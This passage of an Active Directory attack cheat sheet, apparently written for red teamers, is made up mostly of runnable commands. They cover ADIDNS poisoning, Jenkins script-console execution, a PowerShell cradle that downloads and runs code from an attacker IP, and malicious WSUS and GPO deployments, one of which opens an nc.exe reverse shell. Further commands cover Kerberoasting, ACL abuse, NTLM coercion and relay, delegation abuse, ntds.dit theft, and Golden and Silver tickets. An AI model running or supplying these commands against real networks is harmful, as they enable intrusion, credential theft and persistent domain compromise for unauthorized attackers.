The char * can't be added via DNS protocol because it will break the request. Since we are in an AD we can modify the DNS via LDAP. This is what Powermad do:

# get the value populated in the DNSRecord attribute of a node
Get-ADIDNSNodeAttribute -Node * -Attribute DNSRec

# creates a wildcard record, sets the DNSRecord and DNSTombstoned attributes
New-ADIDNSNode -Tombstone -Verbose -Node * -Data $IP

# enable a tombstoned record
Enable-ADIDNSNode -Node *

# disable a node
Disable-ADIDNSNode -Node *

# remove a node
Remove-ADIDNSNode -Node *

# check the wildcard record works/resolve a name
Resolve-DnsName NameThatDoesntExist

DNS update with Invoke-DNSUpdate

To work with "classic" record, i.e. not wildcard record

Invoke-DNSUpdate -DNSType A -DNSName test.domain.local -DNSData <attacker_IP> -Realm domain.local

Feature Abuse

Jenkins

Go to http://<IP>/script

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Without admin access : add a build step in the build configuration, add "Execute Windows Batch Command" and powershell –c <command>

powershell -c "iex (new-object system.net.webclient).downloadstring('http://<attacker_IP>/Invoke-HelloWorld.ps1')"

#For more hardened policy
#On Kali
    echo "iex (new-object system.net.webclient).downloadstring('http://<attacker_IP>/Invoke-HelloWorld.ps1')" | iconv --to-code UTF-16LE | base64 -w 0
#In Jenkins
    cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <base64_command>

SCCM

Client Push Accounts

With a compromised machine in an Active Directory where SCCM is deployed via Client Push Accounts (the default configuration) on the assets, it is possible to retrieve the Net-NTLM hash of the Client Push Account, which generally has Administrator privileges on lots of assets. Full explains here. To do it:

PowerSCCM

With sufficient rights on the central SCCM server (rights on WMI), it is possible to deploy applications or scripts on the AD computers (SYSTEM on the server basically, to have rights on WMI) with PowerSCCM:

#Create SCCM Session with WMI
Find-SccmSiteCode -ComputerName <SCCM_computer>
New-SccmSession -ComputerName <SCCM_computer> -SiteCode <site_code> -ConnectionType WMI

#Retrieve computers linked to the SCCM server
Get-SccmSession | Get-SccmComputer

#Create a computer collection
Get-SccmSession | New-SccmCollection -CollectionName "col" -CollectionType "Device"

#Add computer to the collection
Get-SccmSession | Add-SccmDeviceToCollection -ComputerNameToAdd "<computer>" -CollectionName "col"

#Create an app to deploy
Get-SccmSession | New-SccmApplication -ApplicationName "<application_name>" -PowerShellB64 "<powershell_script_in_B64>"

#Create an app deployment with the app and the collection previously created
Get-SccmSession | New-SccmApplicationDeployment -ApplicationName "<application_name>" -AssignmentName "assig" -CollectionName "col"

#Force the machine in the collection to check the app update (and force the install)
Get-SccmSession | Invoke-SCCMDeviceCheckin -CollectionName "col"

If application deployement doesn't work, it is worth to test CMScript deployement (deploy a script instead of an app). PowerSCCM also permits to do it with this PR :

New-CMScriptDeployement -CMDrive '<new_drive_name>' -ServerFQDN '<SCCM_server_FQDN>' -TargetDevice '<target_FQDN>' -Path '.\reverse.ps1' -ScriptName 'EvilScript'

WSUS

#Locate the WSUS server
./SharpWSUS locate

#Find a way to compromise it
#Enumerate the contents of the WSUS server to determine which machines to target
./SharpWSUS.exe inspect

#Create a malicious patch with a Microsoft signed binary (mandatory)
./SharpWSUS.exe create /payload:"C:\tmp\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user user1 Password123! /add && net localgroup administrators user1 /add\"" /title:"EvilWSUS"

#Create a WSUS group, add the target machine to the WSUS group and approve the malicious patch for deployment
./SharpWSUS.exe approve /updateid:<GUID_from_create> /computername:<target> /groupname:"Evil Group"

#Wait for the client to download the patch, not possible to control
./SharpWSUS.exe check /updateid:<GUID_from_create> /computername:<target>

#Clean up after the patch is downloaded.
./SharpWSUS.exe delete /updateid:<GUID_from_create> /computername:<target> /groupname:"Evil Group"
#Find the WSUS server with the REG key
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v wuserver

#Setup the fake WSUS server
python3.exe pywsus.py --host <network_interface> --port 8530 --executable ./PsExec64.exe --command '/accepteula /s cmd.exe /c "net user usser1 Password123! /add && net localgroup Administrators user1 /add"'

And ARP spoofing with bettercap and a wsus_spoofing.cap like this:

# quick recon of the network
net.probe on

# set the ARP spoofing
set arp.spoof.targets $client_ip
set arp.spoof.internal false
set arp.spoof.fullduplex false

# reroute traffic aimed at the WSUS server
set any.proxy.iface $interface
set any.proxy.protocol TCP
set any.proxy.src_address $WSUS_server_ip
set any.proxy.src_port 8530
set any.proxy.dst_address $attacker_ip
set any.proxy.dst_port 8530

# control logging and verbosity
events.ignore endpoint
events.ignore net.sniff

# start the modules
any.proxy on
arp.spoof on
net.sniff on
bettercap --iface <network_interface> --caplet wsus_spoofing.cap

Now wait for update verification or manually trigger with a GUI access on the machine

Domain Privesc

Kerberoast

Find users with SPN

#PowerView
Get-NetUser -SPN

#ActiveDirectory module
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

Request TGS

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "SPN/<target>.domain.local"

Or Request-SPNTicket with PowerView

Export the ticket

Invoke-Mimikatz -Command '"kerberos::list /export"'

Crack the ticket

Many options but this one works (also john, hashcat, etc...)

python.exe .\tgsrepcrack.py .\wordlist.txt .\ticket.kirbi

Rubeus

Rubeus can be used to perform all the attack, with more or less opsec

#Kerberoast all the kerberoastable accounts
.\Rubeus.exe kerberoast

#Kerberoast a specified account
.\Rubeus.exe kerberoast /user:<target> /outfile:ticket.kirbi

#Kerberoast with RC4 downgrade even if the targets are AES enabled
#Tickets are easier to crack
.\Rubeus.exe kerberoast /tgtdeleg

#Kerberoast with opsec tgtdeleg trick filtering AES accounts
.\Rubeus.exe kerberoast /rc4opsec

Kerberoast w/o creds

Without pre-authentication

If a principal can authent without pre-authentication (like AS-REP Roasting), it is possible to use it to launch an AS-REQ request (for a TGT) and trick the request to ask for a ST instead for a kerberoastable principal, by modifying the sname attribut in the req-body part of the request. Full explains here.

This PR must be used for the moment.

.\Rubeus.exe kerberoast /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"user_w/o_preauth" /spn:users.txt

With MitM

If no principal without pre-authentication are present, it is still possible to intercept the AS-REQ requests on the wire (with ARP spoofing for example), and replay them to kerberoast.

WARNING : RoastInTheMiddle.exe is only a PoC for the moment, be carefull with it in prod environment !

./RoastInTheMiddle.exe /listenip:<attacker_IP> /spns:users.txt /targets:<target_IP_1>,<target_IP_2> /dcs:<DC_IP_1>,<DC_IP_2>

AS-REP Roasting

Enumerate users

#UPowerView:
Get-DomainUser -KerberosPreuthNotRequired -Verbose

#AD module:
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth

Disable Kerberos Preauth

With PowerView

Set-DomainObject -Identity user1 -XOR @{useraccountcontrol=4194304} -Verbose
Get-DomainUser -KerberosPreuthNotRequired -Verbose

Request AS-REP

.\Rubeus.exe asreproast /user:<target> /domain:domain.local /creduser:domain.local\user1 /credpassword:"Password123!" /format:hashcat

Crack the hash

With john or hashcat it could be performed

ACLs Attacks

ACLs packages

On any objects

WriteOwner

With this rights on a user it is possible to become the "owner" (Grant Ownership) of the account and then change our ACLs against it

Set-DomainObjectOwner -Identity <target> -OwnerIdentity user1 -verbose
Add-ObjectAcl -TargetIdentity <target> -PrincipalIdentity user1 -Rights ResetPassword

#And change the password
$cred = ConvertTo-SecureString "Password123!" -AsPlainText -force                  
Set-DomainUserPassword -Identity <target> -accountpassword $cred
WriteDacl

With this rights we can modify our ACLs against the target, and give us GenericAll for example

Add-ObjectAcl -TargetIdentity <target> -PrincipalIdentity user1 -Rights All

On an user

WriteProperty
Whisker.exe add /target:<target> /domain:domain.local /dc:dc.domain.local /path:C:\path\to\file.pfx /password:"Password123!"
#PowerView
Set-DomainObject <target> -Set @{'mstsinitialprogram'='\\ATTACKER_IP\rev.exe'} -Verbose

#AD module
Set-ADObject -SamAccountName '<target>' -PropertyName scriptpath -PropertyValue "\\ATTACKER_IP\rev.exe"

We can then request a TGS without special privileges. The TGS can then be "Kerberoasted".

#Verify if the user already has a SPN
Get-DomainUser -Identity <target> | select serviceprincipalname
    #Using ActiveDirectory module
Get-ADUser -Identity <target> -Properties ServicePrincipalName | select ServicePrincipalName

New SPN must be unique in the domain

#Set the SPN
Set-DomainObject -Identity user -Set @{serviceprincipalname='ops/whatever1'}
    #Using ActiveDirectory module
Set-ADUser -Identity user -ServicePrincipalNames @{Add='ops/whatever1'} 

#Request the ticket
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ops/whatever1"
    #From PowerView
Request-SPNTicket
User-Force-Change-Password

With enough permissions on a user, we can change his password

net user <target> Password123! /domain

#With PowerView
$pass = ConvertTo-SecureString "Password123!" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("domain\user1", $pass)
Set-DomainUserPassword "<target>" -AccountPassword $UserPassword -Credential $cred

On a computer

WriteProperty
Whisker.exe add /target:<target> /domain:domain.local /dc:dc.domain.local /path:C:\path\to\file.pfx /password:Password123!
AllExtendedRights
# With PowerView
Get-DomainComputer <target>.domain.local -Properties ms-mcs-AdmPwd,displayname,ms-mcs-AdmPwdExpirationTime
./GMSAPasswordReader.exe --accountname gmsaAccount

On a group

WriteProperty/AllExtendedRights/GenericWrite Self

With one of this rights we can add a new member to the group

net group <target_group> user1 /add
# With PowerView
Add-DomainGroupMember -Identity '<target_group>' -Members 'user1'

On GPO

WriteProperty on a GPO

We can create an "evil" GPO with a scheduled task for example

#With PowerView
New-GPOImmediateTask -Verbose -Force -TaskName 'Update' -GPODisplayName 'weakGPO' -Command cmd -CommandArguments "/c net localgroup administrators user1 /add"

#With SharpGPOAbuse
./SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author Administrator --Command "cmd.exe" --Arguments "/c /tmp/nc.exe attacker_ip 4545 -e powershell" --GPOName "weakGPO" 
CreateChild on Policies Cn + WriteProperty on an OU

It is possible to create a fully new GPO and link it to an existing OU

#With RSAT module
New-GPO -Name "New GPO" | New-GPLink -Target "OU=Workstation,DC=domain,DC=local"
Set-GPPrefRegistryValue -Name "New GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "C:\Windows\System32\cmd.exe /C \\path\to\payload" -Type ExpandString

After GPO refresh on the OU's machines, when the machines will restart the payload will be executed

On the domain/forest

DS-Replication-Get-Changes + DS-Replication-Get-Changes-All

We can DCSync

DS-Replication-Get-Changes + DS-Replication-Get-Changes-In-Filtered-Set

It is possible to realize a DirSync attack, as presented here

Import-Module ./DirSync.psm1

#Sync all the LAPS passwords in the domain
Sync-LAPS

#Sync a specific LAPS password
Sync-LAPS -LDAPFilter '(samaccountname=<computer$>)'

#Sync confidential attributs
Sync-Attributes -LDAPFilter '(samaccountname=user1)' -Attributes unixUserPassword,description

Account Operators

The members of this group can add and modify all the non admin users and groups. Since LAPS ADM and LAPS READ are considered as non admin groups, it's possible to add an user to them, and read the LAPS admin password. They also can manage the Server Operators group members which can authenticate on the DC.

Add user to LAPS groups

Add-DomainGroupMember -Identity 'LAPS ADM' -Members 'user1' -Credential $cred -Domain "domain.local"
Add-DomainGroupMember -Identity 'LAPS READ' -Members 'user1' -Credential $cred -Domain "domain.local"

Read LAPS password

Get-DomainComputer <computername> -Properties ms-mcs-AdmPwd,ComputerName,ms-mcs-AdmPwdExpirationTime

DNS Admin

Configure the DLL

Needs RSAT DNS

#With dnscmd.exe
dnscmd <target> /config /serverlevelplugindll \\<attacker_IP>\dll\mimilib.dll

#With DNSServer module
$dnsettings = Get-DnsServerSetting -ComputerName <target> -Verbose -All
$dnsettings.ServerLevelPluginDll = "\\<attacker_IP>\dll\mimilib.dll"
Set-DnsServerSetting -InputObject $dnsettings -ComputerName <target> -Verbose

Restart DNS

sc \\<target> stop dns
sc \\<target> start dns

Schema Admin

These group members can change the "schema" of the AD. It means they can change the ACLs on the objects that will be created IN THE FUTUR. If we modify the ALCs on the group object, only the futur group will be affected, not the ones that are already present.

Change ACLs on the groups

Give full rights to a user on the groups

$creds = New-Object System.Management.Automation.PSCredential ("domain.local\user1", (ConvertTo-SecureString "Password" -AsPlainText -Force)); Set-ADObject -Identity "CN=group,CN=Schema,CN=Configuration,DC=domain,DC=local" -Replace @{defaultSecurityDescriptor = 'D:(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;DA)(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;SY)(A;;RPLCLORC;;;AU)(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;S-1-5-21-854239470-2015502385-3018109401-52104)';} -Verbose -server dc.domain.local -Credential $creds

When a new group is created we can add any user to it with the user who has full rights

$User = Get-ADUser -Identity "CN=user1,CN=Users,DC=domain,DC=local"; $Group = Get-ADGroup -Identity "CN=new_admingroup,CN=Users,DC=domain,DC=local"; $creds = New-Object System.Management.Automation.PSCredential ("domain.local\user1", (ConvertTo-SecureString "Password" -AsPlainText -Force)); Add-ADGroupMember -Identity $Group -Members $User -Server dc.domain.local -Credential $creds

Backup Operators

Can normally log in on any machines of the domain.

File system backup

Can backup the entire file system of a machine (DC included) and have full read/write rights on the backup

To backup a folder :

robocopy /B C:\Users\Administrator\Desktop\ C:\tmp\tmp.txt /E

To backup with Diskshadow + Robocopy:

set verbose onX
set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX

To backup with Diskshadow + DLLs:

set context persistent nowritersx
set metadata c:\windows\system32\spool\drivers\color\example.cabx
add volume c: alias someAliasx
createx
expose %someAlias% z:x
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.ditx
delete shadows volume %someAlias%x
resetx
Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll

Copy-FileSeBackupPrivilege z:\windows\ntds\ntds.dit C:\temp\ntds.dit -Overwrite
reg save HKLM\SYSTEM c:\temp\system.hive

Registry read rights

The Backup Operators can read all the machines registry

python3 reg.py 'domain.local'/'user1':'Password123'@<target>.domain.local query -keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon'

GPOs read/write rights

Normally the Backup Operators can read and rights all the domain and DC GPOs with robocopy in backup mode

robocopy "C:\tmp" "\\dc.domain.local\SYSVOL\domain.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit" GptTmpl.inf /ZB

AD Recycle Bin

Members of this group can recover deleted objects from the Active Directory, just like in a recycle bin for files, when the feature is enabled. These objects can sometimes have interesting properties.

Enumerate deleted objects

To find all the deleted objects and their properties:

Get-ADObject -filter 'isdeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects -property *

To focus on one object:

Get-ADObject -filter { SAMAccountName -eq "user1" } -includeDeletedObjects -property *

To find the last deleted object:

Get-ADObject -ldapFilter:"(msDS-LastKnownRDN=*)" - IncludeDeletedObjects

Restore an object

Get-ADObject -Filter {displayName -eq "user1"} IncludeDeletedObjects | Restore-ADObject

NTLM

Capture, Coerce and Leak NTLM

Different ways to obtain and catch Net-NTLM authentications and retrieve a NTLM response.

Responder / Inveigh

Change the authentication challenge to 1122334455667788 in the Responder conf file in order to obtain an easily crackable hash if NTLMv1 is used.

sed -i 's/ Random/ 1122334455667788/g' Responder/Responder.conf

Catch all the possible hashes on the network (coming via LLMNR, NBT-NS, DNS spoofing, etc):

# Responder with WPAD injection, Proxy-Auth, DHCP, DHCP-DNS and verbose
responder -I interface_to_use -wPdDv

# Inveigh with *
Invoke-Inveigh -Challenge 1122334455667788 -ConsoleOutput Y -LLMNR Y -NBNS Y -mDNS Y -HTTPS Y -Proxy Y

Force NTLM downgrade to NTLMv1 (will break the authentications if v1 is disabled on the machine):

# --disable-ess will disable the SSP, not always usefull
responder -I interface_to_use -wdDv --lm --disable-ess

NTLMv1 response can be cracked on crash.sh.

Leak Files

With write rights on a SMB share, it is possible to drop a .scf file with the following content to grab some user hashes:

[Shell]
Command=2
IconFile=\<attacker_IP>\share\pentestlab.ico
[Taskbar]
Command=ToggleDesktop

MITM6

Spoof DHCPv6 responses. Usefull to combine with NTLM or Kerberos Relay attacks.

mitm6 -i interface_to_use -d domain.local

PetitPotam / PrinterBug / ShadowCoerce / DFSCoerce / CheeseOunce

Exploits to coerce Net-NTLM authentication from a computer. PetitPotam can be used without any credentials if no patch has been installed.

#PetitPotam
./PetitPotam.exe attacker_IP target_IP

#PrinterBug
./SpoolSample.exe target_IP attacker_IP

#ShadowCoerce
python3.exe shadowcoerce.py -d domain.local -u user1 -p password attacker_IP target_IP

#DFSCoerce
python3.exe dfscoerce.py -u user1 -d domain.local <listener_IP> <target_IP>

#CheeseOunce via MS-EVEN
./MS-EVEN.exe <listener_IP> <target_IP>

MSSQL Coerce

Everything is explained here.

PrivExchange

Coerce Exchange server authentication via PushSubscription (now patched):

python3 privexchange.py -ah attacker_IP <Exchange_server> -u user1 -p password -d domain.local

WebClient Service

If this service runs on the target machine, a SMB authentication can be switched into an HTTP authentication (really useful for NTLM relay).

Check if WebClient is running on machines:

GetWebDAVStatus.exe 'machine_ip'

#For multiple machines
webclientservicescanner domain.local/user1:password@10.10.10.0/24

If yes, coerce the authentication to the port 80 on the attacker IP. To bypass trust zone restriction, the attacker machine must be specified with a valid NETBIOS name and not its IP. the FQDN can be obtained with Responder in Analyze mode.

responder -I interface_to_use -A

#Coerce with PetitPotam for example
./PetitPotam.exe "attacker_NETBIOS@80/test.txt" <target_IP>

NTLM Relay

SMB without signing

Create a list of computer without SMB signing:

crackmapexec smb 10.10.10.0/24 -u user1 -p password --gen-relay-list list.txt

ntlmrelayx

If only SMBv2 is supported, -smb2support can be used. To attempt the remove the MIC if vulnerable, --remove-mic can be used.

Multiple targets can be specified with -tf list.txt.

#With attempt to dump possible GMSA and LAPS passwords, and ADCS templates
ntlmrelayx.py ldap://dc --dump-adcs --dump-laps --dump-gmsa --no-da --no-acl
ntlmrelayx.py smb://target -socks
ntlmrelayx.py mssql://target -socks
ntlmrelayx.py smb://target
ntlmrelayx.py dcsync://dc

Add an user to Enterprise Admins.

ntlmrelayx.py ldap://dc --escalate-user user1 --no-dump
#Create a new computer account through LDAPS and enabled RBCD
ntlmrelayx.py ldaps://dc_IP --add-computer --delegate-access --no-dump --no-da --no-acl

#Create a new computer account through LDAP with StartTLS and enabled RBCD
ntlmrelayx.py ldap://dc_IP --add-computer --delegate-access --no-dump --no-da --no-acl

#Doesn't create a new computer account and use an existing one
ntlmrelayx.py ldap://dc_IP --escalate-user <controlled_computer> --delegate-access --no-dump --no-da --no-acl
#Attempts to open a socks and write loot likes dumps into a file
ntlmrelayx.py -tf targets.txt -wh attacker.domain.local -6 -l loot.txt -socks

Kerberos Delegations

Kerberos delegations can be used for local privesc, lateral movement or domain privesc. The main purpose of Kerberos delegations is to permit a principal to access a service on behalf of another principal.

There are two main types of delegation:

Unconstrained delegation

Compromised machine in Unconstrained Delegation

Get-NetComputer -UnConstrained

#With AD Module
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
Get-ADUser -Filter {TrustedForDelegation -eq $True}

After compromising the computer with UD enabled, we can trick or wait for an admin connection

#Check if a ticket is available
Invoke-Mimikatz -Command '"sekurlsa::tickets"'

#If yes
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
Invoke-Mimikatz -Command '"kerberos::ptt ticket.kirbi"'

Printer bug / PetitPotam

To force another computer to connect to the compromised machine in UD, and capture the TGT by monitoring:

.\Rubeus.exe monitor /interval:5 /nowrap

On the attacker machine run :

#PrinterBug
.\MS-RPRN.exe \\<target>.domain.local \\unconstrainedMachine.domain.local

#PetitPotam
.\PetitPotam.exe attacker_ip <target>.domain.local
.\Rubeus.exe ptt /ticket:...

#DCSync with the dc TGT
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"' 

Any principal in Unconstrained Delegation

If we have enough rights against a principal (computer or user) in UD to add a SPN on it and know its password, we can try to use it to retrieve a machine account password from an authentication coercion.

Since the principal is in Unconstrained Delegation, when the machine account will send the ST to the SPN it will automatically add a TGT in it, and because the SPN is pointing to us with the DNS record, we can retrieve the TGS, decipher the ciphered part with the user password (the SPN is setup on the user, so the TGS is ciphered with his password), and retrieve the TGT.

#Add the SPN with the Microsoft module
Set-ADUser -Identity <principal_in_UD> -ServicePrincipalName @{Add='HOST/test.domain.local'}

#Create the DNS record
Invoke-DNSUpdate -DNSType A -DNSName test.domain.local -DNSData <attacker_IP> -Realm domain.local

#Run krbrelayx with the hash of the password setup on the UD user
python3 krbrelayx.py -hashes :2B576ACBE6BCFDA7294D6BD18041B8FE -dc-ip dc.domain.local

#Trigger the coercion
.\PetitPotam.exe <attacker_ip> <target_IP>

Constrained Delegation

In this situation, the computer in delegation has a list of services where it can delegate an authentication. This is controlled by msDS-AllowedToDelegateTo attribute that contains a list of SPNs to which the user tokens can be forwarded. No ticket is stored in LSASS.

To impersonate the user, Service for User (S4U) extension is used which provides two extensions:

Enumerate principals with CD enabled

#Powerview
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

#AD Module
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo

With protocol transition

Any service can be specified on the target since it is not correctly checked. All the Rubeus commands can be performed with kekeo aswell.

.\Rubeus.exe s4u /user:user1 /rc4:<hash> /impersonateuser:Administrator /msdsspn:"time/<target>.domain.local" /altservice:ldap,cifs /ptt

If we have a session as the user, we can just run .\Rubeus.exe tgtdeleg /nowrap to get the TGT in Base64, then run:

.\Rubeus.exe s4u /ticket:doIFCDC[SNIP]E9DQUw= /impersonateuser:Administrator /domain:domain.local /msdsspn:"time/<target>.domain.local" /altservice:ldap,cifs /ptt
Invoke-Mimikatz -Command '"kerberos::ptt ticket.kirbi"'

Without protocol transition

In this case, it is not possible to use S4U2self to obtain a forwardable ST for a specific user. This restriction can be bypassed with an RBCD attack detailled in the following section.

Resource-Based Constrained Delegation

Wagging the Dog

With RBCD, this is the resource machine (the machine that receives delegation) which has a list of services that can delegate to it. This list is specified in the attribute msds-allowedtoactonbehalfofotheridentity and the computer can modified its own attribute (really usefull in NTLM relay attack scenario).

Requirements

#To verify
Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local
Get-NetComputer ws01 | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity

Standard RBCD

The attaker has compromised ServiceA and want to compromise ServiceB. Additionnally he has sufficient rights to configure msds-allowedtoactonbehalfofotheridentity on ServiceB.

#Add RBCD from ServiceA to ServiceB
Set-ADComputer ServiceB -PrincipalsAllowedToDelegateToAccount ServiceA$

#Verify property
Get-NetComputer ServiceB | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity

#Get ServiceA TGT and then S4U
rubeus -x tgtdeleg /nowrap
rubeus -x s4u /user:ServiceA$ /ticket:ticket.kirbi /impersonateuser:administrator /msdsspn:host/ServiceB.domain.local /domain:domain.local /altservice:cifs,host,http,winrm,RPCSS,wsman /ptt

With machine account creation

Import-Module Powermad.ps1
Import-Module PowerView.ps1

#Creds if needed, to run as another user
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('domain.local\user1', $SecPassword)

#Check requirements
Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local -Credential $Cred
Get-NetComputer <target> -Domain domain.local | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity

#Add the fake machine as a ressource + get its SID
New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force) -Credential $Cred -Verbose -Domain domain.local -DomainController DC.domain.local
Get-DomainComputer FAKE01 -Domain domain.local -Credential $Cred
$ComputerSid = Get-DomainComputer FAKE01 -Properties objectsid | Select -Expand objectsid

#Create the new raw security descriptor
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

#Add the new raw SD to msds-allowedtoactonbehalfofotheridentity
Get-DomainComputer <target> -SearchBase "LDAP://DC=domain,DC=local" -Credential $Cred | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -SearchBase "LDAP://DC=domain,DC=local" -Verbose -Credential $Cred

#Check if well added
$RawBytes = Get-DomainComputer <target> -Properties 'msds-allowedtoactonbehalfofotheridentity' -Credential $Cred -SearchBase "LDAP://DC=domain,DC=local" | select -expand msds-allowedtoactonbehalfofotheridentity
(New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0).DiscretionaryAcl
#Calcul hash
.\Rubeus.exe hash /password:Password123! /user:FAKE01$ /domain:domain.local
#S4U attack
.\Rubeus.exe s4u /user:FAKE01$ /rc4:2B576ACBE6BCFDA7294D6BD18041B8FE /impersonateuser:administrator /msdsspn:cifs/<target> /domain:domain.local /ptt /dc:DC.domain.local

Skip S4USelf

.\Rubeus.exe s4u /user:ServiceA$ /aes256:<service_key> /tgs:"/path/to/kirbi" /msdsspn:cifs/serviceB.domain.local /domain:domain.local /ptt /dc:DC.domain.local

Reflective RBCD

With a TGT or the hash of a service account, an attacker can configure a RBCD from the service to itself, a run a full S4U to access the machine on behalf of another user.

Set-ADComputer ServiceA -PrincipalsAllowedToDelegateToAccount ServiceA$
.\Rubeus.exe s4u /user:ServiceA$ /aes256:<service_key> /impersonateuser:Administrator /msdsspn:cifs/serviceA.domain.local /domain:domain.local /ptt /dc:DC.domain.local

Impersonate protected user via S4USelf request

It is possible to impersonate a protected user with the S4USelf request if we have a TGT (or the creds) of the target machine (for example from an Unconstrained Delegation).

With the target TGT it is possible to realise a S4USelf request for any user and obtain a TGS for the service. In case where the needed user is protected against delegation, S4USelf will still work, but the TGS is not forwardable (so no S4UProxy possible) and the specified SPN is invalid...however, the SPN is not in the encrypted part of the ticket. So it is possible to modify the SPN and retrieve a valid TGS for the target service with a sensitive user (and the TGS PAC is well signed by the KDC).

.\Rubeus.exe s4u /self /impersonateuser:Administrator /ticket:doIFFz[...SNIP...]TE9DQUw=  /domain:domain.local /altservice:cifs/server.domain.local /ptt

Bypass Constrained Delegation restrictions with RBCD

#RBCD from A to B
Set-ADComputer ServiceB -PrincipalsAllowedToDelegateToAccount ServiceA$
.\Rubeus.exe s4u /user:ServiceA$ /aes256:<serviceA_key> /impersonateuser:Administrator /msdsspn:cifs/serviceB.domain.local /domain:domain.local /dc:DC.domain.local

#S4UProxy from B to C with the obtained TGS as evidence
.\Rubeus.exe s4u /user:ServiceB$ /aes256:<serviceB_key> /tgs:<obtained_TGS> /msdsspn:time/serviceC.contoso.local /altservice:cifs /domain:domain.local /dc:DC.domain.local /ptt

U2U RBCD with SPN-less accounts

In case where you have sufficient rights to configure an RBCD on a machine (for example with an unsigned authentication coerce via HTTP) but ms-ds-machineaccountquota equals 0, there is no ADCS with the HTTP endpoint and the Shadow Credentials attack is not possible (domain level to 2012 for example), you can realize a RBCD from a SPN-less user account. An interesting example is present here. You can follow the example in this PR.

.\Rubeus.exe asktgt /user:user1 /rc4:<NT_hash> /nowrap
.\Rubeus.exe asktgs /u2u /ticket:TGT.kirbi /tgs:TGT.kirbi /targetuser:Administrator /nowrap
import binascii, base64
print(binascii.hexlify(base64.b64decode("<TGT_SESSION_KEY_B64>")).decode())
smbpasswd.py -newhashes :sessionKey 'domain.local'/'user1':'Password123!'@'DC'
.\Rubeus.exe s4u /msdsspn:cifs/target.domain.local /ticket:TGT.kirbi /tgs:U2U.kirbi

RBCD from MSSQL server

If we have sufficient access to a MSSQL server we can use the xp_dirtree in order to leak the Net-NTLM hash of the machine account. Additionally, the Web Service client must be running on the machine in order to trick the authentication from SMB to HTTP and avoid the NTLM signature (authentication must be sent to @80):

#Add the DNS
Invoke-DNSUpdate -DNSType A -DNSName attacker.domain.local -DNSData <attacker_IP> -Realm domain.local

#On our machine, waiting for the leak
#https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c
python rbcd_relay.py 192.168.24.10 domain.local 'target$' <controlledAccountWithASPN>

#ON the MSSQL server
SQLCMD -S <MSSQL_instance> -Q "exec master.dbo.xp_dirtree '\\attacker@80\a'" -U Admin -P Admin

#After the attack, ask for a TGS with full S4U
.\Rubeus.exe s4u /user:<controlled_account> /rc4:<hash> /impersonateuser:Administrator /msdsspn:cifs/<target> /domain:domain.local /dc:DC.domain.local /ptt

Domain Persistence

Diamond Ticket

Blog here

.\Rubeus.exe diamond /krbkey:<aes_krbtgt_key> /user:user1 /password:password /enctype:aes /domain:domain.local /dc:dc.domain.local /ticketuser:Administrator /ticketuserid:<target_RID> /groups:512 /nowrap

Golden Ticket

Retrieve the krbtgt hash

Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername dc
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"'

Create TGT

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain.local /sid:<domain_SID> /krbtgt:<krbtgt_hash> /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'

Silver Ticket

Create TGS

/rc4 take the service account (generally the machine account) hash

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain.local /sid:<domain_SID> /target:<target>.domain.local /service:CIFS /rc4:<account_hash> /ptt"'

Requesting a TGS with a valid TGT can be performed with Rubeus like this :

